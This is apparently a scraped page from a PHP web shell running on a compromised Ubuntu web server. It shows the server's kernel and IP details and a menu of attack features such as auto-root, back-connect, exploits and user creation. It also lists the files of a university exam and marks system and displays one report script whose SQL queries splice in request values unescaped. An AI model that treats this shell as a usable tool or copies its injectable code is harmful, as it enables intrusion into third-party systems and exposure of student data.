Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.223.170.253
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_practical_marks_details_old.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tarka_pdf_latest/fpdf.php"; require_once($pdf_writer_class); class practical_marks_detail_report extends FPDF { public $aobj_context; public $college_name; public $town; public $address; public $degree_name; function Default_construstor($aobj_context) { require_once($aobj_context->main_src.'src/format.php'); $this->aobj_context=$aobj_context; $this->collcode=$_SESSION['collcode']; include($this->pdf_writer_class); session_start(); $this->report_id = $aobj_context->mobj_data["report_id"]; $this->degree = $aobj_context->mobj_data['degree']; $this->degree_name = $aobj_context->mobj_data['degree_name']; $this->exam = $aobj_context->mobj_data['exam']; $this->subject = $aobj_context->mobj_data["sub"]; $this->sub_name = $aobj_context->mobj_data["sub_name"]; $this->from_qp_code = $aobj_context->mobj_data["from_qp_code"] ; $this->to_qp_code= $aobj_context->mobj_data["to_qp_code"] ; $this->batch_no= $aobj_context->mobj_data["batch_no"] ; $this->date_value = $aobj_context->mobj_data["date_value"] ; $this->time_value = $aobj_context->mobj_data["time"] ; $this->batch_no=str_pad($this->batch_no, 2, "0", STR_PAD_LEFT); $this->fs_sub_name= $aobj_context->mobj_data["fs_sub_name"] ; $this->freeze_status=" (Verification Pending)"; $this->pdf= new FPDF(); $this->pdf=$this; $this->GetSubjectLoops(); $getnumword=$aobj_context->main_src."/src/getnumword.php"; include($getnumword); $get_date_time="SELECT DATE_FORMAT(now(),'%d-%b-%Y %H:%m %r') as dt"; $ob_dt = $this->aobj_context->mobj_db->GetRow($get_date_time); $this->date_time=$ob_dt[dt]; } function Header() { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; $page_header_college ="select FUNIVADD1 as address,FUNIVNAME as college_name , pdf_logo_path as pdf_logo_path from control "; $lobj_page_header_college = $this->aobj_context->mobj_db->GetRow($page_header_college); $this->coll_name = $lobj_page_header_college['college_name']; $this->address = $lobj_page_header_college['address']; $this->pdf_logo_path = $this->aobj_context->main_src."/".$lobj_page_header_college['pdf_logo_path']; $get_college_name="select concat(FCOLLNAME,', ',FTOWN) as col_name from college where FCOLLCODE='{$this->collcode}'"; $this->lobj_get_college_name = $this->aobj_context->mobj_db->GetRow($get_college_name); $this->col_name=$this->lobj_get_college_name['col_name']; $get_exam_date="select FEXAMDATE as exam_date,FEXAMNAME from degree where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}'"; $this->lobj_get_exam_date = $this->aobj_context->mobj_db->GetRow($get_exam_date); $this->exam_date=$this->lobj_get_exam_date['exam_date']; $this->FEXAMNAME=$this->lobj_get_exam_date['FEXAMNAME']; $this->pdf->SetFont('Times','B',14); $this->pdf->Cell(180,4,$this->coll_name,0,1,'C'); $this->pdf->SetFont('Times','',8); $this->pdf->Cell(180,4,$this->address,0,0,'C'); $this->pdf->SetFont('Times','B',11); $this->pdf->Cell(-20,4,"Page {$this->pdf->PageNo()}/{nb}",0,1,'C'); $this->pdf->Ln(2); $this->pdf->Cell(180,4,$this->collcode." - ".$this->col_name,0,1,'C'); $this->pdf->Ln(1); $this->pdf->Cell(180,6,$this->degree." - ".$this->degree_name ." {$this->FEXAMNAME} - ".$this->exam_date,0,1,'C'); $this->pdf->Ln(1); $this->pdf->Cell(180,6,"Subject: "." ".$this->subject." - ".$this->sub_name." (".$this->fs_sub_name .")",0,1,'C'); $this->pdf->Ln(1); $this->pdf->SetFont('Times','BU',11); if($FUNIVCODE == '029') $this->pdf->Cell(180,6,'Practical / Viva Marks List'.$this->freeze_status,0,1,'C'); else $this->pdf->Cell(180,6,'PRACTICAL MARKS LIST'.$this->freeze_status,0,1,'C'); $this->pdf->SetFont('Times','B',11); $this->pdf->Cell(180,6,'Batch - '.$this->batch_no.' Date - '.$this->date_value . ' Time - '.$this->time_value,0,1,'C'); if(file_exists($this->pdf_logo_path)) { $this->pdf->Image($this->pdf_logo_path,7,7,20); } $this->pdf->SetFont('Times','B',11); $this->pdf->Ln(06); } function GetSubjectLoops() { $get_loops =" select FCSUBCODE,concat(FSUBNAME) as sub_name from subject where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FCSUBCODE>='{$this->from_qp_code}' and FCSUBCODE<='{$this->to_qp_code}'"; $this->lobj_get_loops = $this->aobj_context->mobj_db->GetAll($get_loops); } function GetQuery() { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; foreach($this->lobj_get_loops as $sk=>$sv) { $pdf->page_present_count=0; $pdf->total_absent_count=0; $pdf->total_absent_count=0; $FCSUBCODE=$sv[FCSUBCODE]; $get_frezed_data = " select count(*) as f_cnt from practical_entry_freeze where FCOLLCODE='{$this->collcode}' and FDEGREE='{$this->degree}' and FEXAM='{$this->exam}' and FCSUBCODE='{$FCSUBCODE}' and lpad(FBATCH,2,'0')='{$this->batch_no}' and FFREEZED='T' "; $obj_get_frezed_data = $this->aobj_context->mobj_db->GetRow($get_frezed_data); $this->freeze_status=" (Verification Pending)"; if($obj_get_frezed_data[f_cnt]>0) { $this->freeze_status=" (Verified)"; } $get_p_frezed_data=" select count(*) as fp_cnt from practical_entry_freeze where FCOLLCODE='{$this->collcode}' and FDEGREE='{$this->degree}' and FEXAM='{$this->exam}' and FCSUBCODE='{$FCSUBCODE}' and lpad(FBATCH,2,'0')='{$this->batch_no}' and ifnull(PRINTFREEZED,'F')='T' "; $obj_get_frezed_data = $this->aobj_context->mobj_db->GetRow($get_p_frezed_data); $fp_cnt=$obj_get_frezed_data['fp_cnt']; $sub_name=$sv[sub_name]; $this->lobj_get_practical_records=array(); $this->lobj_get_viva_records=array() ; $this->viva_marks_arr=array(); $this->ii_details_arr=array(); $get_practical_records = "select sub.FCSUBCODE,sub.FSUBNAME,stu.FREGNO, stu.FNAME, if(mak.FMARKS11>0,right(concat('000',mak.FMARKS11),3),if(mak.FMARKS11=-2,'ABSENT', if(mak.FMARKS11=0,0,''))) as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH,FSUBNAME,FSSUBNAME FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FCSUBCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' and mak.FMARKS11<>-1 #and mak.FMARKS11<>'' group by stu.FREGNO,sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_get_practical_records = $this->aobj_context->mobj_db->GetAll($get_practical_records); $this->sub_code=$this->lobj_get_practical_records[0][FCSUBCODE]; $this->sub_name=$this->lobj_get_practical_records[0][FSUBNAME]; $this->fs_sub_name=$this->lobj_get_practical_records[0][FSSUBNAME]; $count_practical_records = "select FCSUBCODE,count(distinct(stu.FREGNO)) as cnt FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FCSUBCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' and mak.FMARKS11=-2 and mak.FMARKS11<>'' group by sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_count_practical_records = $this->aobj_context->mobj_db->GetAll($count_practical_records); foreach($this->lobj_count_practical_records as $k=>$v) { $this->ii_details_arr[$v[FCSUBCODE]]=$v[cnt]; } $get_viva_details=" select FVVCODE from practical_master where FDEGREE = '{$this->degree}' and FEXAMNO = '{$this->exam}' and FPRCODE = '{$FCSUBCODE}'"; $lobj_get_viva_details = $this->aobj_context->mobj_db->GetRow($get_viva_details); $FVVCODE = $lobj_get_viva_details[FVVCODE]; if(!empty($FVVCODE)) { $get_viva_records = "select sub.FCSUBCODE,sub.FSUBNAME,stu.FREGNO, stu.FNAME, if(mak.FMARKS11>=0,right(concat('000',mak.FMARKS11),3),if(mak.FMARKS11=-2,'ABSENT','')) as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$FVVCODE}' and lpad(mak.FBATCH,2,'0')='{$this->batch_no}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' group by stu.FREGNO,sub.FCSUBCODE order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; $this->lobj_get_viva_records = $this->aobj_context->mobj_db->GetAll($get_viva_records); foreach($this->lobj_get_viva_records as $vk=>$vv) { $this->viva_marks_arr[$vv[FREGNO]]=$vv[FMARKS]; } } $this->header_subject=$FCSUBCODE; $this->header_sub_name=$sub_name; $this->pdf->SetMargins(13,10); $this->pdf->AddPage(); // $this->pdf->Rect(4,03,200,280); $this->pdf->SetMargins(11,12); $this->_intital_x_pos=$this->pdf->GetX(); $this->pdf->SetX($this->_intital_x_pos+22); $this->pdf->Cell(15,5,'',"LRT",0,'C'); $this->pdf->Cell(30,5,'',"LRT",0,'C'); $this->pdf->SetFont('Times','B','10'); $this->pdf->Cell(50,5,'Practical',"LRT",1,'C'); $this->get_x_pos = $this->pdf->GetX(); $this->get_y_pos = $this->pdf->GetY(); $this->pdf->SetX($this->_intital_x_pos+22); $this->pdf->Cell(15,5,'Sl. No.',"LRB",0,'C'); $this->pdf->Cell(30,5,'Reg. No.',"LRB",0,'C'); $this->pdf->Cell(15,5,'Marks',"1",0,'C'); $this->pdf->Cell(35,5,'Remarks',"1",1,'C'); if(!empty($this->viva_marks_arr)) { $this->pdf->SetXY($this->get_x_pos+119,$this->get_y_pos-5); if($FUNIVCODE == '029') { $this->pdf->Cell(50,5,'Viva',"LRT",1,'C'); } elseif($FUNIVCODE == '027') { $this->pdf->Cell(50,5,'Viva',"LRT",1,'C'); }else { $this->pdf->Cell(50,5,'Record',"LRT",1,'C'); } $this->pdf->SetXY($this->get_x_pos+119,$this->get_y_pos); $this->pdf->Cell(15,5,'Marks',"1",0,'C'); $this->pdf->Cell(35,5,'Remarks',"1",1,'C'); } $sl=1; $lin1=1; $this->pdf->SetFont('Times','','9'); if($fp_cnt>0) { $this->lobj_get_practical_records=null; $this->pdf->Ln(10); $this->pdf->SetFont('Arial','B',12); $this->pdf->Cell(0,6,'Report is print freezed',"",1,'C'); } foreach($this->lobj_get_practical_records as $pk=>$pv) { $this->FCSUBCODE=$pv[FCSUBCODE]; $FREGNO=$pv[FREGNO]; $FNAME=$pv[FNAME]; $pr_marks=$pv[FMARKS]; if($lin1==35) { $this->pdf->AddPage(); $lin1=1; } $this->pdf->SetX($this->_intital_x_pos+22); $this->pdf->Cell(15,5,$sl,"1",0,'C'); $this->pdf->Cell(30,5,$FREGNO,"1",0,'C'); if($pr_marks=='ABSENT') { $this->page_absent_count++; $this->pdf->Cell(15,5,'AB','1 ',0,'C'); $this->pdf->Cell(35,5,$pr_marks,'1',1,'L'); } else { $this->pdf->Cell(15,5,$pr_marks,"1",0,'C'); $cell_val=GetNumToSeperateWord(floatval($pr_marks)); $cell_val=empty($cell_val)?0:$cell_val; $this->pdf->Cell(35,5,$cell_val,"1",1,'L'); $this->page_present_count++; } $get_x_pos1=$this->pdf->GetX(); $get_y_pos1=$this->pdf->GetY(); if(!empty($this->viva_marks_arr)) { $viva_marks=$this->viva_marks_arr[$FREGNO]; $this->pdf->SetXY($get_x_pos1+119,$get_y_pos1-5); if($viva_marks=='ABSENT') { $this->pdf->Cell(15,5,'AB','1',0,'C'); $this->pdf->Cell(35,5,$viva_marks,'1',1,'L'); } else { $this->pdf->Cell(15,5,$viva_marks,"1",0,'C'); $this->pdf->Cell(35,5,GetNumToSeperateWord(floatval($viva_marks)),"1",1,'L'); } } $sl++;$lin1++; } } $this->pdf->Ln(10); $this->pdf->SetFont('Arial','',9); $this->pdf->Cell(35,6,'',"",0,'C'); $this->pdf->Cell(30,6,'Examiner - 01',"",0,'C'); $this->pdf->Cell(30,6,'Examiner - 02',"",0,'C'); $this->pdf->Cell(30,6,'Examiner - 03',"",0,'C'); $this->pdf->Cell(30,6,'Examiner - 04',"",1,'C'); $this->pdf->Cell(8,6,'',"",0,'C'); $this->pdf->Cell(25,6,'Name',"",0,'L'); $this->pdf->Cell(3,6,':',"",1,'C'); $this->pdf->Cell(8,6,'',"",0,'C'); $this->pdf->Cell(25,6,'College / Degn',"",0,'L'); $this->pdf->Cell(3,6,':',"",1,'C'); $this->pdf->Cell(8,6,'',"",0,'C'); $this->pdf->Cell(25,6,'Signature',"",0,'L'); $this->pdf->Cell(3,6,':',"",1,'C'); $this->pdf->Cell(8,6,'',"",0,'C'); $this->pdf->Cell(25,6,'Date & Time',"",0,'L'); $this->pdf->Cell(3,6,':',"",0,'C'); $this->pdf->Cell(50,3,$pdf->date_time,'0',1,'L'); } function Footer() { $this->SetY(-20); $this->SetFont('Arial','I',8); } function SendOutput() { $this->pdf->Output("Practical_Mark_List_report{$this->report_id}.pdf","I"); } } function GeneratePracticalMarksReports($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj=new practical_marks_detail_report(); $class_obj->AliasNbPages(); $class_obj->Default_construstor($aobj_context); $class_obj->GetQuery(); $class_obj->SendOutput(); } ?>
Close